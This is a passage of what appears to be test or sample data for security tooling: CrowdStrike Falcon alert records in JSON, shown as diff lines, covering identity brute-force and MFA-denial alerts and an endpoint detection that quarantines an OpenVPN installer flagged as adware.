Access","pattern_id":51143,"poly_id":"AAB3RpTC74xD_bZOwwVt37ltWwicqVJrn1DHb_UVfrn1QAAATiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"High","show_in_ui":true,"source_account_azure_id":"65ddx-c454-45f9-9034-Fdf34353","source_account_domain":"NET.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1567733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"E436B3F0-078C-4629-9437-D3E3169147C0","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293534662e48c99f33c61631b3536d","source_products":["Falcon Identity Protection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"Credential Access","tactic_id":"TA0006","technique":"Brute Force","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8E6E","target_endpoint_account_object_sid":"S-1-5-21-746137067-1844237615-1801674531-298236","target_endpoint_host_name":"GH787.net.example.com","target_endpoint_sensor_id":"ac89a368e77a4fa5837b53c7f11fc9e7","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge 126.0.0","activity_device":"LAPTOP-AP7299QV","activity_os":"Windows","active_directory_authentication_method":"5","activity_id":"2A8A7C96-0F17-412C-8105-94542784E00D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":340726,"location_longitude_as_int":-1182610,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"9F2CE16C-4A78-42E6-8565-87147707EE79","source_endpoint_account_object_sid":"S-1-5-21-111111111-2222222-1417001333-101158","source_endpoint_ip_reputation":"128","source_ip_isp_classification":"9","source_ip_isp_domain":"sioru.com","target_domain_controller_host_name":"APINTAL19DC01","target_domain_controller_object_guid":"45A24DB7-6CD3-48C5-974F-A97159E7E2B2","target_domain_controller_object_sid":"S-1-5-21-111111111-2222222-1417001333-85512","target_service_access_identifier":"HOST/admin.example.com"}
-{"aggregate_id":"aggind:4444934rf3fdb64ec2059dmmb96e:5876E98M-F91K-48AW-8FFC-1191C663A1E9","agent_id":"58293534772e48c99f33c61631b3536d","cid":"4446934rf3fdb64ec3056ddfb96e","context_timestamp":"2024-08-19T18:43:44.242Z","composite_id":"874594c2ff8c23fdf64ef3086ddfb03e:ind:4441934rf3mmb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9","crawled_timestamp":"2024-08-19T18:49:02.798354466Z","created_timestamp":"2024-08-19T18:45:02.987127397Z","data_domains":["Identity"],"description":"Auserdeniedapolicyidentityverificationrequest","display_name":"Identityverificationdenied","end_time":"2024-08-19T18:43:44.242Z","falcon_host_link":"https://falcon.crowdstrike.com/identity-protection/detections/4446934rf3fdb64ec3056ddfb96e:ind:4446934rf3fdb64ec3056ddfb96e:5876E98F-D91B-48AC-8FFC-1191C663A1E9?_cid=g0300034lfy3zjobdz7ewb4xjqyjsy5a","id":"ind:4446934rf3fdb64ec3056ddfb96e:87934F-M00B-48CC-0AAC-dfafd3429","idp_policy_mfa_factor_type":"42669","idp_policy_mfa_provider":"11","idp_policy_rule_id":"123324-343-4dfa9E0-8F85-dfaa3242","idp_policy_rule_name":"admin-RDPAccesstoTIER-0Servers","name":"IdpPolicyIdentityVerificationDenied","objective":"GainAccess","pattern_id":45897,"poly_id":"MJdfafdB3RpTC74xD_bZOwwVt37erewrewdWwicqVJrn1DHb_UVfrn1QTiE4zCVgvIYhKPq8wZOGu5S3BVMzfSm_y5pv8n9CypfRuw==","product":"idp","scenario":"suspicious_activity","seconds_to_resolved":0,"seconds_to_triaged":0,"severity":79,"severity_name":"Medium","show_in_ui":true,"source_account_azure_id":"65ddx-c454-324d-9034-Fdf34353","source_account_domain":"BCD.example.com","source_account_name":"admin.example","source_account_object_sid":"S-14-5424-21-dfaf3-234343-3434-1117733","source_account_sam_account_name":"admin.abcdef","source_account_upn":"admin.abcdef@example.com","source_endpoint_account_object_guid":"FDHJJ343-098C-4629-9437-DD3424GHJ","source_endpoint_address_ip4":"81.2.69.144","source_endpoint_host_name":"ABDC454.net.example.com","source_endpoint_ip_address":"81.2.69.144","source_endpoint_sensor_id":"38293523261gh48c99ffd234c6190123536e","source_products":["FalconIdentityProtection"],"source_vendors":["CrowdStrike"],"start_time":"2024-08-19T18:43:44.242Z","status":"new","tactic":"CredentialAccess","tactic_id":"TA0006","technique":"BruteForce","technique_id":"T1110","tags":["falcon_complete"],"target_account_name":"HFJFJFFFFFFF$","target_endpoint_account_object_guid":"AAAAAAAA-0000-FFFFF-000000-A302EFCC8M4536","target_endpoint_account_object_sid":"S-1-5-21-HG43242JJ-1844237615-18dfa1674531-298236","target_endpoint_host_name":"GH787.abc.example.com","target_endpoint_sensor_id":"afdsasf3423432nndv3432v","timestamp":"2024-08-19T18:44:01.1Z","type":"idp-user-endpoint-app-info","updated_timestamp":"2024-08-19T18:49:02.798344752Z","user_name":"admin.abcdef","activity_browser":"Edge126.0.0","activity_device":"LAPTOP-ADFVEJM234V","activity_os":"Windows","active_directory_authentication_method":"4","activity_id":"3A7H7C00-FFF2344-23FFFF-9199905-91245754E10099D","alert_attributes":"0","location_country_code":"US","location_latitude_as_int":320316,"location_longitude_as_int":-12729080,"model_anomaly_indicators":["ACCOUNT_IMPOSSIBLE_VELOCITY","ENVIRONMENT_UNUSUAL_IP","ENVIRONMENT_UNUSUAL_ISP_DOMAIN","ISP_DATACENTER_CLASSIFICATION"],"ldap_search_query_attack":"16","protocol_anomaly_classification":"1","source_account_object_guid":"78HF9842-HGG5-324F-9565-GJD47324","source_endpoint_account_object_sid":"S-1-4-21-111111111-2222222-14171121333-1045999","source_endpoint_ip_reputation":"118","source_ip_isp_classification":"8","source_ip_isp_domain":"abc.com","target_domain_controller_host_name":"GHPOTAL12578","target_domain_controller_object_guid":"59B24AA7-4GH8-f7H0-994F-B90159E7M2K1","target_domain_controller_object_sid":"S-2-8-21-333333-2222222-3431-95511","target_service_access_identifier":"HOST/root.demo.com"}
-{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"ioc_values":[],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","triggering_process_graph_id":"pid:2ce4124ad4adc8c1c54dbfec4b:399748687993","type":"ldt","updated_timestamp":"2023-11-03T19:00:23.985007341Z","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"}
-{"agent_id":"2ce412d17b334ad4adc8c1c54dbfec4b","aggregate_id":"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","alleged_filetype":"exe","cid":"92012896127c4a948236ba7601b886b0","cloud_indicator":"false","cmdline":"\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"","composite_id":"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","confidence":10,"context_timestamp":"2023-11-03T18:00:31Z","control_graph_id":"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778","crawl_edge_ids":{"Sensor":["KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N","KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!","KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr","N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!","N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N","N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'","N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!","N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr","N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'","N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"]},"crawl_vertex_ids":{"Sensor":["aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778","ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600","mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135","pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993","quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"]},"crawled_timestamp":"2023-11-03T19:00:23.985020992Z","created_timestamp":"2023-11-03T18:01:23.995794943Z","data_domains":["Endpoint"],"description":"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.","device":{"agent_load_flags":"0","agent_local_time":"2023-10-12T03:45:57.753Z","agent_version":"7.04.17605.0","bios_manufacturer":"ABC","bios_version":"F8CN42WW(V2.05)","cid":"92012896127c4a948236ba7601b886b0","config_id_base":"65994763","config_id_build":"17605","config_id_platform":"3","device_id":"2ce412d17b334ad4adc8c1c54dbfec4b","external_ip":"81.2.69.142","first_seen":"2023-04-07T09:36:36Z","groups":["18704e21288243b58e4c76266d38caaf"],"hostinfo":{"active_directory_dn_display":["WinComputers","WinComputers\\ABC"],"domain":"ABC.LOCAL"},"hostname":"ABC709-1175","last_seen":"2023-11-03T17:51:42Z","local_ip":"81.2.69.142","mac_address":"ab-21-48-61-05-b2","machine_domain":"ABC.LOCAL","major_version":"10","minor_version":"0","modified_timestamp":"2023-11-03T17:53:43Z","os_version":"Windows11","ou":["ABC","WinComputers"],"platform_id":"0","platform_name":"Windows","pod_labels":null,"product_type":"1","product_type_desc":"Workstation","site_name":"Default-First-Site-Name","status":"normal","system_manufacturer":"LENOVO","system_product_name":"20VE"},"falcon_host_link":"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","filename":"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","filepath":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","grandparent_details":{"cmdline":"C:\\Windows\\system32\\userinit.exe","filename":"userinit.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe","local_process_id":"4328","md5":"b07f77fd3f9828b2c9d61f8a36609741","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135","process_id":"392734873135","sha256":"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33","timestamp":"2023-10-30T16:49:19Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"yuvraj.mahajan"},"id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","indicator_id":"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600","ioc_context":[{"ioc_description":"\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","ioc_source":"library_load","ioc_type":"hash_sha256","ioc_value":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","type":"module"}],"local_process_id":"17076","logon_domain":"ABSYS","md5":"cdf9cfebb400ce89d5b6032bfcdc693b","name":"PrewittPupAdwareSensorDetect-Lowest","objective":"FalconDetectionMethod","parent_details":{"cmdline":"C:\\WINDOWS\\Explorer.EXE","filename":"explorer.exe","filepath":"\\Device\\HarddiskVolume3\\Windows\\explorer.exe","local_process_id":"1040","md5":"8cc3fcdd7d52d2d5221303c213e044ae","process_graph_id":"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876","process_id":"392736520876","sha256":"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4","timestamp":"2023-11-03T18:00:32Z","user_graph_id":"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425","user_id":"S-1-5-21-1909377054-3469629671-4104191496-4425","user_name":"mohit.jha"},"parent_process_id":"392736520876","pattern_disposition":2176,"pattern_disposition_description":"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.","pattern_disposition_details":{"blocking_unsupported_or_disabled":false,"bootup_safeguard_enabled":false,"critical_process_disabled":false,"detect":false,"fs_operation_blocked":false,"handle_operation_downgraded":false,"inddet_mask":false,"indicator":false,"kill_action_failed":false,"kill_parent":false,"kill_process":false,"kill_subprocess":false,"operation_blocked":false,"policy_disabled":false,"process_blocked":true,"quarantine_file":true,"quarantine_machine":false,"registry_operation_blocked":false,"rooting":false,"sensor_only":false,"suspend_parent":false,"suspend_process":false},"pattern_id":5761,"platform":"Windows","poly_id":"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==","process_end_time":"1699034421","process_id":"399748687993","process_start_time":"1699034413","product":"epp","quarantined_files":[{"filename":"\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe","id":"2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","state":"quarantined"}],"scenario":"NGAV","severity":30,"sha1":"0000000000000000000000000000000000000000","sha256":"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd","show_in_ui":true,"source_products":["FalconInsight"],"source_vendors":["CrowdStrike"],"status":"new","tactic":"MachineLearning","tactic_id":"CSTA0004","technique":"Adware/PUP","technique_id":"CST0000","timestamp":"2023-11-03T18:00:22.328Z","tree_id":"1931778","tree_root":"38687993","trigg